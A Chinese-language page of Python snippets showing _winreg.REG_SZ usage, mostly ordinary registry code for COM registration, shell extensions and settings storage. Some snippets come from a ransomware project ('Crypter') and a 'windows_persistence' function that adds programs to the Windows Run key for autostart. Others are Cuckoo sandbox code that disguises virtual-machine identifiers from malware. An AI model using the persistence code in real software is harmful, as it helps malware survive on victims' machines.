我们从Python开源项目中,提取了以下50个代码示例,用于说明如何使用_winreg.REG_SZ。
def DllRegisterServer(): import _winreg key = _winreg.CreateKey(_winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\" \ "Explorer\\Desktop\\Namespace\\" + \ ShellFolderRoot._reg_clsid_) _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, ShellFolderRoot._reg_desc_) # And special shell keys under our CLSID key = _winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT, "CLSID\\" + ShellFolderRoot._reg_clsid_ + "\\ShellFolder") # 'Attributes' is an int stored as a binary! use struct attr = shellcon.SFGAO_FOLDER | shellcon.SFGAO_HASSUBFOLDER | \ shellcon.SFGAO_BROWSABLE import struct s = struct.pack("i", attr) _winreg.SetValueEx(key, "Attributes", 0, _winreg.REG_BINARY, s) print ShellFolderRoot._reg_desc_, "registration complete."
def register(classobj): import _winreg subKeyCLSID = "SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\%38s" % classobj._reg_clsid_ try: hKey = _winreg.CreateKey( _winreg.HKEY_LOCAL_MACHINE, subKeyCLSID ) subKey = _winreg.SetValueEx( hKey, "ButtonText", 0, _winreg.REG_SZ, classobj._button_text_ ) _winreg.SetValueEx( hKey, "ClsidExtension", 0, _winreg.REG_SZ, classobj._reg_clsid_ ) # reg value for calling COM object _winreg.SetValueEx( hKey, "CLSID", 0, _winreg.REG_SZ, "{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}" ) # CLSID for button that sends command to COM object _winreg.SetValueEx( hKey, "Default Visible", 0, _winreg.REG_SZ, "Yes" ) _winreg.SetValueEx( hKey, "ToolTip", 0, _winreg.REG_SZ, classobj._tool_tip_ ) _winreg.SetValueEx( hKey, "Icon", 0, _winreg.REG_SZ, classobj._icon_) _winreg.SetValueEx( hKey, "HotIcon", 0, _winreg.REG_SZ, classobj._hot_icon_) except WindowsError: print "Couldn't set standard toolbar reg keys." else: print "Set standard toolbar reg keys."
def registerUriHandler(): from _winreg import CreateKey, SetValueEx, HKEY_CURRENT_USER, REG_SZ, CloseKey regKeys = [] regKeys.append(['Software\\Classes\\fcade', '', 'Fightcade']) regKeys.append(['Software\\Classes\\fcade', 'URL Protocol', ""]) regKeys.append(['Software\\Classes\\fcade\\shell', '', None]) regKeys.append(['Software\\Classes\\fcade\\shell\\open', '', None]) for key,name,val in regKeys: registryKey = CreateKey(HKEY_CURRENT_USER, key) SetValueEx(registryKey, name, 0, REG_SZ, val) CloseKey(registryKey) regKeysU = [] regKeysU.append(['Software\\Classes\\fcade\\shell\\open\\command', '', os.path.abspath(sys.argv[0])+' "%1"']) for key,name,val in regKeysU: registryKey = CreateKey(HKEY_CURRENT_USER, key) SetValueEx(registryKey, name, 0, REG_SZ, val) CloseKey(registryKey)
def get_start_time(self): ''' @summary: Get's Crypter's start time from the registry, or creates it if it doesn't exist @return: The time that the ransomware began it's encryption operation, in integer epoch form ''' # Try to open registry key try: reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) start_time = _winreg.QueryValueEx(reg, "")[0] _winreg.CloseKey(reg) # If failure, create the key except WindowsError: start_time = int(time.time()) reg = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) _winreg.SetValue(reg, "", _winreg.REG_SZ, str(start_time)) _winreg.CloseKey(reg) return start_time
def test_non_latin_extension(self): import _winreg class MockWinreg(object): def __getattr__(self, name): if name == 'EnumKey': return lambda key, i: _winreg.EnumKey(key, i) + "\xa3" elif name == 'OpenKey': return lambda key, name: _winreg.OpenKey(key, name.rstrip("\xa3")) elif name == 'QueryValueEx': return lambda subkey, label: (u'?????/???????' , _winreg.REG_SZ) return getattr(_winreg, name) mimetypes._winreg = MockWinreg() try: # this used to throw an exception if registry contained non-Latin # characters in extensions (issue #9291) mimetypes.init() finally: mimetypes._winreg = _winreg
def test_non_latin_type(self): import _winreg class MockWinreg(object): def __getattr__(self, name): if name == 'QueryValueEx': return lambda subkey, label: (u'?????/???????', _winreg.REG_SZ) return getattr(_winreg, name) mimetypes._winreg = MockWinreg() try: # this used to throw an exception if registry contained non-Latin # characters in content types (issue #9291) mimetypes.init() finally: mimetypes._winreg = _winreg
def set_regkey(rootkey, subkey, name, type_, value): if type_ == _winreg.REG_SZ: value = unicode(value) length = len(value) * 2 + 2 elif type_ == _winreg.REG_MULTI_SZ: value = u"\u0000".join(value) + u"\u0000\u0000" length = len(value) * 2 + 2 elif type_ == _winreg.REG_DWORD: value = struct.pack("I", value) length = 4 else: length = len(value) res_handle = HANDLE() res = RegCreateKeyExW( rootkey, subkey, 0, None, 0, _winreg.KEY_ALL_ACCESS, 0, byref(res_handle), None ) if not res: RegSetValueExW(res_handle, name, 0, type_, value, length) RegCloseKey(res_handle)
def query_value(rootkey, subkey, name): res_handle = HANDLE() type_ = DWORD() value = create_string_buffer(1024 * 1024) length = DWORD(1024 * 1024) res = RegOpenKeyExW( rootkey, subkey, 0, _winreg.KEY_QUERY_VALUE, byref(res_handle) ) if not res: res = RegQueryValueExW( res_handle, name, None, byref(type_), value, byref(length) ) RegCloseKey(res_handle) if not res: if type_.value == _winreg.REG_SZ: return value.raw[:length.value].decode("utf16").rstrip("\x00") if type_.value == _winreg.REG_MULTI_SZ: value = value.raw[:length.value].decode("utf16") return value.rstrip(u"\u0000").split(u"\u0000") if type_.value == _winreg.REG_DWORD: return struct.unpack("I", value.raw[:length.value])[0] return value.raw[:length.value]
def init_regkeys(self, regkeys): """Initializes the registry to avoid annoying popups, configure settings, etc. @param regkeys: the root keys, subkeys, and key/value pairs. """ for rootkey, subkey, values in regkeys: key_handle = CreateKey(rootkey, subkey) for key, value in values.items(): if isinstance(value, str): SetValueEx(key_handle, key, 0, REG_SZ, value) elif isinstance(value, int): SetValueEx(key_handle, key, 0, REG_DWORD, value) elif isinstance(value, dict): self.init_regkeys([ [rootkey, "%s\\%s" % (subkey, key), value], ]) else: raise CuckooPackageError("Invalid value type: %r" % value) CloseKey(key_handle)
def patch_scsi_identifiers(self): types = { "DiskPeripheral": self.HDD_IDENTIFIERS, "CdRomPeripheral": self.CDROM_IDENTIFIERS, } for row in itertools.product([0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3]): type_ = query_value(HKEY_LOCAL_MACHINE, "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port %d\\Scsi Bus %d\\Target Id %d\\Logical Unit Id %d" % row, "Type") value = query_value(HKEY_LOCAL_MACHINE, "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port %d\\Scsi Bus %d\\Target Id %d\\Logical Unit Id %d" % row, "Identifier") if not type_ or not value: continue value = value.lower() if "vbox" in value or "vmware" in value or "qemu" in value or "virtual" in value: if type_ in types: new_value = random.choice(types[type_]) else: log.warning("Unknown SCSI type (%s), disguising it with a random string", type_) new_value = random_string(len(value)) set_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port %d\\Scsi Bus %d\\Target Id %d\\Logical Unit Id %d" % row, "Identifier", REG_SZ, new_value)
def save(self): if USE_WINDOWS: import _winreg try: key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, self.keyname, sam=_winreg.KEY_SET_VALUE | _winreg.KEY_WRITE) except: key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, self.keyname) try: for k, v in self.values.iteritems(): _winreg.SetValueEx(key, str(k), 0, _winreg.REG_SZ, str(v)) finally: key.Close() else: d = os.path.dirname(self.filename) if not os.path.isdir(d): os.makedirs(d) f = open(self.filename, 'w') try: data = '\n'.join(["%s=%s" % (k,v) for k,v in self.values.iteritems()]) f.write(data) finally: f.close()
def __setitem__(self, item, value): item = str(item) pyvalue = type(value) if pyvalue is tuple and len(value)==2: valuetype = value[1] value = value[0] else: if pyvalue is dict or isinstance(value, RegistryDict): d = RegistryDict(self.keyhandle, item) d.clear() d.update(value) return if pyvalue is str: valuetype = _winreg.REG_SZ elif pyvalue is int: valuetype = _winreg.REG_DWORD else: valuetype = _winreg.REG_BINARY value = 'PyPickle' + cPickle.dumps(value) _winreg.SetValueEx(self.keyhandle, item, 0, valuetype, value)
def loadFromRegistryCurrentUser(self): ''' Load configuration from Windows registry. ''' # We manually build a .INI file in memory from the registry. inilines = ['[%s]' % applicationConfig.CONFIG_SECTIONNAME] try: import _winreg except ImportError, exc: raise ImportError, "applicationConfig.loadFromRegistryCurrentUser() can only be used under Windows (requires the _winreg module).\nCould not import module because: %s" % exc try: key = _winreg.OpenKey( _winreg.HKEY_CURRENT_USER, applicationConfig.CONFIG_REGPATH, 0, _winreg.KEY_READ) # Now get all values in this key: i = 0 try: while True: # mmm..strange, Should unpack to 3 values, but seems to # unpack to more. Bug of EnumValue() ? valueobj = _winreg.EnumValue(key, i) valuename = str(valueobj[0]).strip() valuedata = str(valueobj[1]).strip() valuetype = valueobj[2] if valuetype != _winreg.REG_SZ: raise TypeError, "The registry value %s does not have the correct type (REG_SZ). Please delete it." % valuename else: if valuename not in applicationConfig.NONEXPORTABLE_PARAMETERS: # Build the .INI file. inilines += ['%s=%s' % (valuename, str(valuedata))] i += 1 except EnvironmentError: # EnvironmentError means: "No more values to read". We simply # exit the 'While True' loop. pass # Then parse the generated .INI file. self.fromINI('\n'.join(inilines)) except EnvironmentError: raise WindowsError, "Could not read configuration from registry !" _winreg.CloseKey(key)
def regSetString(keyName, val): reg.SetValueEx(RegisterKey, keyName, 0, reg.REG_SZ, val)
def _guess_value_type(self, value): if isinstance(value, basestring): return _winreg.REG_SZ elif isinstance(value, (int, long)): return _winreg.REG_DWORD raise ValueError("Cannot guest registry type of value to set <{0}>".format(value))
def windows_persistence(): import _winreg from _winreg import HKEY_CURRENT_USER as HKCU run_key = r'Software\Microsoft\Windows\CurrentVersion\Run' bin_path = sys.executable try: reg_key = _winreg.OpenKey(HKCU, run_key, 0, _winreg.KEY_WRITE) _winreg.SetValueEx(reg_key, 'br', 0, _winreg.REG_SZ, bin_path) _winreg.CloseKey(reg_key) return True, 'HKCU Run registry key applied' except WindowsError: return False, 'HKCU Run registry key failed'
def DllRegisterServer(): # Also need to register specially in: # HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches # See link at top of file. import _winreg kn = r"Software\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\%s" \ % (EmptyVolumeCache._reg_desc_,) key = _winreg.CreateKey(_winreg.HKEY_LOCAL_MACHINE, kn) _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, EmptyVolumeCache._reg_clsid_)
def DllRegisterServer(): import _winreg if sys.getwindowsversion()[0] < 6: print "This sample only works on Vista" sys.exit(1) key = _winreg.CreateKey(_winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\" \ "Explorer\\Desktop\\Namespace\\" + \ ShellFolder._reg_clsid_) _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, ShellFolder._reg_desc_) # And special shell keys under our CLSID key = _winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT, "CLSID\\" + ShellFolder._reg_clsid_ + "\\ShellFolder") # 'Attributes' is an int stored as a binary! use struct attr = shellcon.SFGAO_FOLDER | shellcon.SFGAO_HASSUBFOLDER | \ shellcon.SFGAO_BROWSABLE import struct s = struct.pack("i", attr) _winreg.SetValueEx(key, "Attributes", 0, _winreg.REG_BINARY, s) # register the context menu handler under the FolderViewSampleType type. keypath = "%s\\shellex\\ContextMenuHandlers\\%s" % (ContextMenu._context_menu_type_, ContextMenu._reg_desc_) key = _winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT, keypath) _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, ContextMenu._reg_clsid_) propsys.PSRegisterPropertySchema(get_schema_fname()) print ShellFolder._reg_desc_, "registration complete."
def DllRegisterServer(): import _winreg key = _winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT, "Python.File\\shellex") subkey = _winreg.CreateKey(key, "IconHandler") _winreg.SetValueEx(subkey, None, 0, _winreg.REG_SZ, ShellExtension._reg_clsid_) print ShellExtension._reg_desc_, "registration complete."
def DllRegisterServer(): import _winreg key = _winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT, "directory\\shellex\\CopyHookHandlers\\" + ShellExtension._reg_desc_) _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, ShellExtension._reg_clsid_) key = _winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT, "*\\shellex\\CopyHookHandlers\\" + ShellExtension._reg_desc_) _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, ShellExtension._reg_clsid_) print ShellExtension._reg_desc_, "registration complete."
def DllRegisterServer(): import _winreg key = _winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT, "Python.File\\shellex") subkey = _winreg.CreateKey(key, "ContextMenuHandlers") subkey2 = _winreg.CreateKey(subkey, "PythonSample") _winreg.SetValueEx(subkey2, None, 0, _winreg.REG_SZ, ShellExtension._reg_clsid_) print ShellExtension._reg_desc_, "registration complete."
def RegisterAddin(klass): import _winreg key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Office\\Excel\\Addins") subkey = _winreg.CreateKey(key, klass._reg_progid_) _winreg.SetValueEx(subkey, "CommandLineSafe", 0, _winreg.REG_DWORD, 0) _winreg.SetValueEx(subkey, "LoadBehavior", 0, _winreg.REG_DWORD, 3) _winreg.SetValueEx(subkey, "Description", 0, _winreg.REG_SZ, "Excel Addin") _winreg.SetValueEx(subkey, "FriendlyName", 0, _winreg.REG_SZ, "A Simple Excel Addin")
def RegisterAddin(klass): import _winreg key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Office\\Outlook\\Addins") subkey = _winreg.CreateKey(key, klass._reg_progid_) _winreg.SetValueEx(subkey, "CommandLineSafe", 0, _winreg.REG_DWORD, 0) _winreg.SetValueEx(subkey, "LoadBehavior", 0, _winreg.REG_DWORD, 3) _winreg.SetValueEx(subkey, "Description", 0, _winreg.REG_SZ, klass._reg_progid_) _winreg.SetValueEx(subkey, "FriendlyName", 0, _winreg.REG_SZ, klass._reg_progid_)
def set_value(self, key, subkey, value): """ Set a value in a custom subkey """ try: return winreg.SetValue(key, subkey, winreg.REG_SZ, value) except WindowsError as error: print "Error al crear un valor" self.no_restore = True
def create_value(self, key, value_name, value): """ Creates a value THAT DOESN'T EXIST, we need to keep track of the keys that we are creating """ self.no_restore = False try: return winreg.SetValueEx(key, value_name, 0, winreg.REG_SZ, value) except WindowsError as error: print "Error al crear clave" self.no_restore = True
def add(name, application): """add a new autostart entry""" key = get_runonce() _winreg.SetValueEx(key, name, 0, _winreg.REG_SZ, application) _winreg.CloseKey(key)
def __add_to_startup_programs(self): ''' @summary: Adds Crypter to the list of Windows startup programs @todo: Code and test @todo: Restore try and except catch ''' try: reg = _winreg.CreateKeyEx(_winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION) _winreg.SetValueEx(reg, "Crypter", 0, _winreg.REG_SZ, sys.executable) _winreg.CloseKey(reg) except WindowsError: pass
def test_type_map_values(self): import _winreg class MockWinreg(object): def __getattr__(self, name): if name == 'QueryValueEx': return lambda subkey, label: (u'text/plain', _winreg.REG_SZ) return getattr(_winreg, name) mimetypes._winreg = MockWinreg() try: mimetypes.init() self.assertTrue(isinstance(mimetypes.types_map.values()[0], str)) finally: mimetypes._winreg = _winreg
def install(self): self.copy_driver() self.set_regkey( "ImagePath", _winreg.REG_SZ, "\\SystemRoot\\system32\\drivers\\%s.sys" % self.install_name ) self.set_regkey("Start", _winreg.REG_DWORD, 3) self.set_regkey("Type", _winreg.REG_DWORD, 1) self.set_regkey("ErrorControl", _winreg.REG_DWORD, 1) self.load_driver() self.del_regkeys()
def change_productid(self): """Randomizes Windows ProductId. The Windows ProductId is occasionally used by malware to detect public setups of Cuckoo, e.g., Malwr.com. """ value = "{0}-{1}-{2}-{3}".format(random_integer(5), random_integer(3), random_integer(7), random_integer(5)) set_regkey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "ProductId", REG_SZ, value)
def patch_bios(self): set_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", "SystemBiosDate", REG_SZ, random.choice(self.SYSTEM_BIOS_DATES)) set_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", "SystemBiosVersion", REG_MULTI_SZ, random.choice(self.SYSTEM_BIOS_VERSIONS)) set_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", "VideoBiosDate", REG_SZ, random.choice(self.VIDEO_BIOS_DATES)) set_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", "VideoBiosVersion", REG_MULTI_SZ, random.choice(self.VIDEO_BIOS_VERSIONS))
def patch_processor(self): keywords = { "QEMU Virtual CPU version 2.0.0": "Intel(R) Core(TM) i7 CPU @3GHz", } for idx in xrange(32): value = query_value(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\%d" % idx, "ProcessorNameString") if value is None: continue for k, v in keywords.items(): value = value.replace(k, v) set_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\%d" % idx, "ProcessorNameString", REG_SZ, value)
def patch_manufacturer(self): set_regkey(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Control\\SystemInformation", "BIOSVersion", REG_SZ, random.choice(self.BIOS_VERSIONS)) set_regkey(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Control\\SystemInformation", "BIOSReleaseDate", REG_SZ, random.choice(self.SYSTEM_BIOS_DATES)) set_regkey(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Control\\SystemInformation", "SystemManufacturer", REG_SZ, random.choice(self.SYSTEM_MANUFACTURERS)) set_regkey(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Control\\SystemInformation", "SystemProductName", REG_SZ, random.choice(self.SYSTEM_PRODUCTNAMES))
def patch_hdd_path(self): set_regkey(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Services\\Disk\\Enum", "0", REG_SZ, random.choice(self.HDD_PATHS))